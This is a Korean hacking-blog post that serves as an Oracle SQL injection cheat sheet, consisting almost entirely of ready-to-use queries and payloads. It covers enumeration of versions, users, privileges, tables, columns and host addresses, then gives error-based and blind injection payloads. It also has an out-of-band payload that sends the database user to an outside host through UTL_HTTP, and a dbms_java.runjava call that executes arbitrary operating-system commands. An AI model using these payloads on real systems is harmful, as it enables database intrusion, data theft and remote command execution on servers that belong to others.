Oracle SQL Injection

2016. 3. 4. 13:28·Web Hacking

Oracle SQL Injection


DB 버전 확인 : v$version 조회

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;


현재 DB명 확인 : global_name 조회

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL; 

DB 리스트 확인 :

 SELECT DISTINCT owner FROM all_tables;


DB 유저명 확인: Select user From dual

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$;


권한 확인 :

SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’;
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;


테이블 리스트 확인 : 

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

테이블 리스트 한 문장으로 가져오기


 select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables



컬럼 리스트확인 : SELECT * FROM cols - 현재 DB의 모든 컬럼 리스트


SELECT column_name FROM all_tab_columns WHERE table_name = ‘테이블명’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘테이블명’
and owner = ‘ DB명’;


Host IP주소 확인 :


SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames


Case 구문 :


SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 


Limit 기능 구현 : 


select * from (select rownum rnum, table.* from table) A where A.rnum between 5 and 13; 


Error based SQL injection

컬럼 갯수 파악 :  숫자를 늘려가면서 컬럼 갯수 파악



데이터조회 : DB명, 버전, 유저명등


1 and utl_inaddr.get_host_name((select global_name from global_name)) <>1-- 


Blind SQL Injection

데이터 확인 : 
    True
    
   
    False
    

 1 and ascii(substr((select user from dual),1,1))=83--


Out-of-band SQL Injection


1' || UTL_HTTP.request('host'||(select user from dual)) 


dbms_java.runjava 함수를 이용해 ORACLE DBMS에 임의의 명령어를 실행시키는 방법

select dbms_java.runjava('com/sun/tools/script/shellMain -e "var p= java.lang.Runtime.getRuntime().exec("$cmd"),"')from dual


'Web Hacking' 카테고리의 다른 글

Blind SQL Injection을 이용하여 한글가져오기!  (0) 2017.06.26
MS SQL Injection  (0) 2016.02.25
크로스사이트스크립팅(XSS)  (0) 2016.02.24
'Web Hacking' 카테고리의 다른 글
  • Blind SQL Injection을 이용하여 한글가져오기!
  • MS SQL Injection
  • 크로스사이트스크립팅(XSS)
zulloper
zulloper
blog
  • zulloper
    zulloper blog
    zulloper
  • 전체
    오늘
    어제
    • Catagory (47)
      • Web (2)
      • Web Hacking (4)
      • CVE (1)
      • Mobile (1)
      • Pwnable (1)
      • Reversing (5)
      • Redteam (2)
      • Python (0)
      • Wargame | CTF (29)
        • Webhacking.kr (25)
        • Suninatas (4)
        • Python Challenge (0)
        • Hack The Box (0)
      • 기타 (0)
  • 블로그 메뉴

    • Category
    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    HTML smuggling
    BurpSuite
    ms injetion
    action message format
    oracle-sql injection
    mssql injection
    oracle db server sql injection
    Export Address Table
    액션 메시지 포맷
    ms-sql server
    oracle sql injection
    Process 숨기기
    pwntools
    WinDbg
    oracle db sql injection
    DLL 확인
    hsts
    ms-sql injection
    RAW 계산식
    스머글링
    윈디버거
    oracle db injection
    http security header
    burp 인증서
    web
    mssql server injection
    RAW 값
    RAW 비례식
    oracle injection
    security header
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.1
zulloper
Oracle SQL Injection
상단으로

티스토리툴바